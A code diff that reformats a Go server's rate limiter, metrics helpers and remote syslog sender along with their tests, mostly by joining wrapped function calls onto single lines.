m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_failures_total", Name: "sww_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -603,17 +546,12 @@ func statusClass(status int) string {
// counterVec returns a counter named name, described by help, with a // counterVec returns a counter named name, described by help, with a
// series for each set of values of labels. // series for each set of values of labels.
func counterVec(name, help string, labels []string) *prometheus.CounterVec { func counterVec(name, help string, labels []string) *prometheus.CounterVec {
return prometheus.NewCounterVec( return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
prometheus.CounterOpts{Name: name, Help: help}, labels)
labels,
)
} }
// gaugeVec returns a gauge named name, described by help, with a series // gaugeVec returns a gauge named name, described by help, with a series
// for each set of values of labels. // for each set of values of labels.
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec { func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
return prometheus.NewGaugeVec( return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
prometheus.GaugeOpts{Name: name, Help: help},
labels,
)
} }
+3 -17
View File
@@ -27,11 +27,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
// refused. // refused.
{Status: 404}, {Status: 404},
} { } {
limiter.AddToHistory( limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
client,
start.Add(time.Duration(i)*time.Minute),
r,
)
} }
want := ratelimit.History{ want := ratelimit.History{
@@ -67,13 +63,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
// A later answer replaces it, and one for a client the table does not // A later answer replaces it, and one for a client the table does not
// hold adds no client. // hold adds no client.
limiter.AddLookup( limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
client,
start.Add(time.Hour),
"AS64497",
"Other Net",
"FR",
)
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE") limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
want := ratelimit.History{ want := ratelimit.History{
@@ -106,11 +96,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
for range limit { for range limit {
wantCount(t, limiter, client, start, "") wantCount(t, limiter, client, start, "")
limiter.AddToHistory( limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
client,
start,
ratelimit.Request{Forwarded: true},
)
} }
limiter.Reset(client) limiter.Reset(client)
+4 -20
View File
@@ -241,8 +241,7 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
buckets := c.buckets() buckets := c.buckets()
for i, w := range l.windows { for i, w := range l.windows {
if w.limit > 0 && if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
return true return true
} }
} }
@@ -272,12 +271,7 @@ func (l *Limiter) CountRefusal(
defer l.mu.Unlock() defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1) count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{ hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
Kind: KindRefusals,
Window: "minute",
Limit: threshold,
Count: count,
}
return hit, count > float64(threshold) return hit, count > float64(threshold)
} }
@@ -298,11 +292,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
// AddToHistory adds r, a request from client at now, to the client's // AddToHistory adds r, a request from client at now, to the client's
// history. // history.
func (l *Limiter) AddToHistory( func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
client netip.Prefix,
now time.Time,
r Request,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -480,13 +470,7 @@ func (l *Limiter) count(
for i, w := range l.windows { for i, w := range l.windows {
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests) requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes) byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
limit, byteLimit := percentOf( limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
w.limit,
percent,
), percentOf(
w.byteLimit,
percent,
)
switch { switch {
case hit.Window != "": case hit.Window != "":
+34 -128
View File
@@ -26,17 +26,13 @@ const (
hour = "hour" hour = "hour"
) )
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing( func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
now := midnight() now := midnight()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1}, tableSize)
tableSize,
)
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error("a client never seen is over a rate limit") t.Error("a client never seen is over a rate limit")
@@ -48,9 +44,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
for range limit { for range limit {
if limiter.OverARateLimit(client, now) { if limiter.OverARateLimit(client, now) {
t.Error( t.Error("a client with room for another request is over a rate limit")
"a client with room for another request is over a rate limit",
)
} }
wantCount(t, limiter, client, now, "") wantCount(t, limiter, client, now, "")
@@ -62,11 +56,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
held, _ := limiter.Client(client) held, _ := limiter.Client(client)
if held.Minute.Current != limit { if held.Minute.Current != limit {
t.Errorf( t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
"the client's minute holds %d requests, want %d",
held.Minute.Current,
limit,
)
} }
wantCount(t, limiter, client, now, minute) wantCount(t, limiter, client, now, minute)
@@ -109,13 +99,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
// A quarter into the next bucket, the window still covers three // A quarter into the next bucket, the window still covers three
// quarters of the bucket before, with its four requests: 3 + 1 // quarters of the bucket before, with its four requests: 3 + 1
// is over the limit. // is over the limit.
wantCount( wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
t,
limiter,
client,
start.Add(tc.length+quarter),
tc.window,
)
// Three quarters into it, a quarter: 1 + 2 is within. // Three quarters into it, a quarter: 1 + 2 is within.
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "") wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -126,10 +110,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
ratelimit.Limits{PerMinute: limit, PerHour: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -147,22 +128,16 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("request over the limit gives %+v and %t, want %+v and true",
"request over the limit gives %+v and %t, want %+v and true", hit, over, want)
hit,
over,
want,
)
} }
} }
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) { func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -176,19 +151,9 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
_, hit, over := limiter.Count(client, start, 50) _, hit, over := limiter.Count(client, start, 50)
want := ratelimit.Hit{ want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
Kind: ratelimit.KindRequests,
Window: minute,
Limit: 2,
Count: 3,
}
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
"the third request gives %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
// Half of the largest byte limit is still far above a TiB: working it // Half of the largest byte limit is still far above a TiB: working it
@@ -203,10 +168,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel() t.Parallel()
// Only the hour has limits: the minute's and the day's are off. // Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -214,24 +177,14 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
// hour's limits, which are 0; the minute's, which are off, stay off. // hour's limits, which are 0; the minute's, which are off, stay off.
_, hit, _ := limiter.Count(client, start, 0) _, hit, _ := limiter.Count(client, start, 0)
want := ratelimit.Hit{ want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
Kind: ratelimit.KindRequests,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first request gives %+v, want %+v", hit, want) t.Errorf("the first request gives %+v, want %+v", hit, want)
} }
_, hit, _ = limiter.CountBytes(client, start, 1, 0) _, hit, _ = limiter.CountBytes(client, start, 1, 0)
want = ratelimit.Hit{ want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
Kind: ratelimit.KindBytes,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want { if hit != want {
t.Errorf("the first byte gives %+v, want %+v", hit, want) t.Errorf("the first byte gives %+v, want %+v", hit, want)
} }
@@ -262,23 +215,13 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Fatal("600 bytes are over the limit of 1000") t.Fatal("600 bytes are over the limit of 1000")
} }
_, hit, over := limiter.CountBytes( _, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
client,
midnight(),
600,
whole,
)
want := ratelimit.Hit{ want := ratelimit.Hit{
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
"1200 bytes give %+v and %t, want %+v and true",
hit,
over,
want,
)
} }
}) })
} }
@@ -287,10 +230,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}, tableSize)
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32") other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -360,10 +301,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
for range limit { for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over { if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf( t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
"a refusal within the threshold of %d broke the error burst",
limit,
)
} }
} }
@@ -373,21 +311,13 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf( t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
"one over the threshold broke it: %t, with %+v; want %+v", want)
over,
hit,
want,
)
} }
// Half a minute into the next, half of those four still count, 2, and // Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold. // this one: 3, within the threshold.
hit, over = limiter.CountRefusal( hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if over || hit.Count != 3 { if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false", t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over) hit.Count, over)
@@ -396,11 +326,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
// A ban sets them back to zero. // A ban sets them back to zero.
limiter.Reset(client) limiter.Reset(client)
hit, _ = limiter.CountRefusal( hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if hit.Count != 1 { if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count) t.Errorf("after a reset, %v refusals, want 1", hit.Count)
} }
@@ -421,11 +347,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
// hour still covers three quarters of the bucket before, with its three // hour still covers three quarters of the bucket before, with its three
// requests, which count 2.25, and this one: 3.25. The day covers all // requests, which count 2.25, and this one: 3.25. The day covers all
// four. // four.
counts, _, _ := limiter.Count( counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
client,
start.Add(time.Hour+time.Hour/4),
whole,
)
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
if counts != want { if counts != want {
@@ -436,10 +358,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
ratelimit.Limits{PerMinute: limit, PerDay: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -480,10 +399,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New( limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, tableSize)
tableSize,
)
refused := netip.MustParsePrefix("203.0.113.9/32") refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32") within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -584,11 +501,7 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
wantCount(t, limiter, clients[maxClients], now, "") wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients { if limiter.Len() != maxClients {
t.Errorf( t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
"the table holds %d clients, want %d",
limiter.Len(),
maxClients,
)
} }
wantCount(t, limiter, clients[1], now, "") wantCount(t, limiter, clients[1], now, "")
@@ -603,10 +516,7 @@ func midnight() time.Time {
// wantCount counts a request from client at now, and checks the window // wantCount counts a request from client at now, and checks the window
// whose limit it goes over, "" for none. // whose limit it goes over, "" for none.
func wantCount( func wantCount(
t *testing.T, t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
want string, want string,
) { ) {
t.Helper() t.Helper()
@@ -621,12 +531,8 @@ func wantCount(
// wantBytesCount counts bytes from client at now, and checks the kind of // wantBytesCount counts bytes from client at now, and checks the kind of
// the limit they break, "" for none. // the limit they break, "" for none.
func wantBytesCount( func wantBytesCount(
t *testing.T, t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
limiter *ratelimit.Limiter, bytes int64, want string,
client netip.Prefix,
now time.Time,
bytes int64,
want string,
) { ) {
t.Helper() t.Helper()
+8 -27
View File
@@ -12,12 +12,7 @@ import (
func TestSnapshotListsTheClientsByAddress(t *testing.T) { func TestSnapshotListsTheClientsByAddress(t *testing.T) {
t.Parallel() t.Parallel()
want := []string{ want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
"192.0.2.1/32",
"203.0.113.9/32",
"203.0.113.10/32",
"2001:db8::/64",
}
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for _, i := range []int{2, 3, 0, 1} { for _, i := range []int{2, 3, 0, 1} {
@@ -37,12 +32,8 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
counted := ratelimit.Buckets{Start: midnight(), Current: 1} counted := ratelimit.Buckets{Start: midnight(), Current: 1}
if snapshot[0].Minute != counted || snapshot[0].Day != counted { if snapshot[0].Minute != counted || snapshot[0].Day != counted {
t.Errorf( t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
"buckets %+v and %+v, want %+v", counted)
snapshot[0].Minute,
snapshot[0].Day,
counted,
)
} }
} }
@@ -95,15 +86,10 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
t.Errorf("loaded two minutes on as %+v", got) t.Errorf("loaded two minutes on as %+v", got)
} }
if got.MinuteBytes != (ratelimit.Buckets{}) || if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
got.HourBytes.Current != 5 ||
got.DayBytes.Current != 5 { got.DayBytes.Current != 5 {
t.Errorf( t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
"loaded two minutes on with buckets of bytes %+v, %+v and %+v", got.MinuteBytes, got.HourBytes, got.DayBytes)
got.MinuteBytes,
got.HourBytes,
got.DayBytes,
)
} }
if got.MinuteRefusals != (ratelimit.Buckets{}) { if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -115,13 +101,8 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got = loaded(start.Add(2*time.Minute - time.Nanosecond)) got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 || if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 { got.MinuteRefusals.Current != 1 {
t.Errorf( t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"loaded just under two minutes on with minute buckets %+v, %+v "+ "and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
"and %+v",
got.Minute,
got.MinuteBytes,
got.MinuteRefusals,
)
} }
} }
+2 -9
View File
@@ -185,11 +185,7 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
// and over TCP and TLS after its length in bytes and a space, the // and over TCP and TLS after its length in bytes and a space, the
// octet-counted framing of RFC 6587 and RFC 5425. // octet-counted framing of RFC 6587 and RFC 5425.
func (s *Sender) record(at string, line []byte) []byte { func (s *Sender) record(at string, line []byte) []byte {
record := make( record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
[]byte,
0,
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
)
record = append(record, s.beforeTime...) record = append(record, s.beforeTime...)
record = append(record, at...) record = append(record, at...)
record = append(record, s.afterTime...) record = append(record, s.afterTime...)
@@ -223,10 +219,7 @@ func (s *Sender) put(record []byte) {
// send connects to the endpoint and sends each record as it comes into // send connects to the endpoint and sends each record as it comes into
// the buffer, until ctx is done, and returns the connection then open, or // the buffer, until ctx is done, and returns the connection then open, or
// nil. // nil.
func (s *Sender) send( func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
ctx context.Context,
processLog *slog.Logger,
) net.Conn {
delay := firstRetryDelay delay := firstRetryDelay
for { for {
+26 -102
View File
@@ -57,27 +57,16 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket( endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, _, _ := run( sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
_, _ = sender.Write( _, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
[]byte(
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
),
)
synctest.Wait() synctest.Wait()
wantCounts(t, sender, 2, 0, 0) wantCounts(t, sender, 2, 0, 0)
@@ -119,9 +108,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
}) })
} }
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped( func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -187,11 +174,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, 1, 0, 0) wantCounts(t, sender, 1, 0, 0)
conn := endpoint.next(t) conn := endpoint.next(t)
wantFrame( wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "one"),
)
// The endpoint goes away: it closes the connection, and refuses the // The endpoint goes away: it closes the connection, and refuses the
// next ones. The sender notices when a record fails, and tries to // next ones. The sender notices when a record fails, and tries to
@@ -220,11 +203,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, sent+1, 1, 0) wantCounts(t, sender, sent+1, 1, 0)
conn = endpoint.next(t) conn = endpoint.next(t)
wantFrame( wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "two"),
)
wantRetries(t, logged, "1s", "2s") wantRetries(t, logged, "1s", "2s")
}) })
} }
@@ -234,19 +213,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
// The endpoint closes each connection as soon as it takes it. The // The endpoint closes each connection as soon as it takes it. The
// sender notices when a record fails, and connects again a second // sender notices when a record fails, and connects again a second
// later, then two seconds after that, then four. // later, then two seconds after that, then four.
delays := []time.Duration{ delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
time.Second,
2 * time.Second,
4 * time.Second,
}
for i, delay := range delays { for i, delay := range delays {
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -258,17 +230,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
}) })
} }
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute( func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -304,21 +271,14 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket( endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, logged, _ := run( sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
// With its header, the first line's record is longer than the 65507 // With its header, the first line's record is longer than the 65507
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is // bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -412,10 +372,7 @@ func params(scheme string, addr net.Addr) remotelog.Params {
// run runs a Sender with settings until the test ends or the function // run runs a Sender with settings until the test ends or the function
// it returns is called, which waits for Run to return. It returns the // it returns is called, which waits for Run to return. It returns the
// Sender, and what it logs. // Sender, and what it logs.
func run( func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
t *testing.T,
settings remotelog.Params,
) (*remotelog.Sender, *output, func()) {
t.Helper() t.Helper()
sender := remotelog.New(settings) sender := remotelog.New(settings)
@@ -442,11 +399,7 @@ func run(
func listen(t *testing.T) net.Listener { func listen(t *testing.T) net.Listener {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
t.Context(),
"tcp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -485,17 +438,11 @@ type tlsEndpoint struct {
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
// connections until it is told to refuse them. // connections until it is told to refuse them.
func startTLSEndpoint( func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
t *testing.T,
certificate tls.Certificate,
) *tlsEndpoint {
t.Helper() t.Helper()
listener := listen(t) listener := listen(t)
endpoint := &tlsEndpoint{ endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
addr: listener.Addr(),
conns: make(chan net.Conn, 10),
}
config := &tls.Config{ config := &tls.Config{
Certificates: []tls.Certificate{certificate}, Certificates: []tls.Certificate{certificate},
MinVersion: tls.VersionTLS12, MinVersion: tls.VersionTLS12,
@@ -509,8 +456,7 @@ func startTLSEndpoint(
} }
server := tls.Server(conn, config) server := tls.Server(conn, config)
if endpoint.refusing.Load() || if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
server.HandshakeContext(t.Context()) != nil {
_ = conn.Close() _ = conn.Close()
continue continue
@@ -582,17 +528,9 @@ func wantCounts(
) { ) {
t.Helper() t.Helper()
if sender.Sent() != sent || sender.Dropped() != dropped || if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
sender.Depth() != depth { t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
t.Fatalf( sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
sender.Sent(),
sender.Dropped(),
sender.Depth(),
sent,
dropped,
depth,
)
} }
} }
@@ -601,11 +539,7 @@ func wantCounts(
// connection the endpoint has closed are lost before one fails; how many // connection the endpoint has closed are lost before one fails; how many
// depends on when the endpoint's host answers that the connection is // depends on when the endpoint's host answers that the connection is
// gone. // gone.
func writeUntilDropped( func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
t *testing.T,
sender *remotelog.Sender,
dropped int64,
) {
t.Helper() t.Helper()
for sender.Dropped() < dropped { for sender.Dropped() < dropped {
@@ -652,8 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any var fields map[string]any
err := json.Unmarshal([]byte(line), &fields) err := json.Unmarshal([]byte(line), &fields)
if err != nil || if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line) t.Fatalf("logged %q", line)
} }
@@ -662,11 +595,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
} }
if !slices.Equal(got, delays) { if !slices.Equal(got, delays) {
t.Errorf( t.Errorf("logged failures to connect again in %v, want %v", got, delays)
"logged failures to connect again in %v, want %v",
got,
delays,
)
